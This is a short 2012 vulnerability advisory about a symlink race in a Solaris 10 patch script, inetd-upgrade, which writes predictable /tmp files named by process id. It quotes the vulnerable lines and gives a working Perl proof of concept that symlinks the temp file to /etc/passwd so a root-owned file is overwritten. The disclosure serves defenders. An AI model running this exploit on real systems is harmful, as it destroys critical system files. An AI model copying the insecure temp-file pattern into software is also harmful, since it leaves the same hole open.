Larry W. Cashdollar
8/6/2012
Here is another symlink attack with temp file creation using process id in
Solaris 10 patch cluster. You can over write the contents of root owned files
with the contents of inetd.conf.
In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade
lines :
72 inetdconf_entries_file=/tmp/iconf_entries.$$
73
74 # Create sed script that prints out inetd.conf src line from inetconv
generated
75 # manifest.
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed
77 /propval name='source_line'/{
78 n
79 s/'//g
80 p
81 }
82 /from the inetd.conf(4) format line/{
83 n
84 p
85 }
86 EOF
If 137097-01 is applied and changes need to be made to the inetd.conf file a
malicious user can over write the contents of a root owned file with a simple
script:
#!/usr/bin/perl
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";
while(<ps>) {
@args = split " ", $_;
if (/inetd-upgrade/) {
print "Symlinking iconf_entries.$args[1] to $clobber\n";
symlink($clobber,"/tmp/iconf_entries.$args[1]");
exit(1);
}
}
}
http://vapid.dhs.org/advisories
@lcashdol
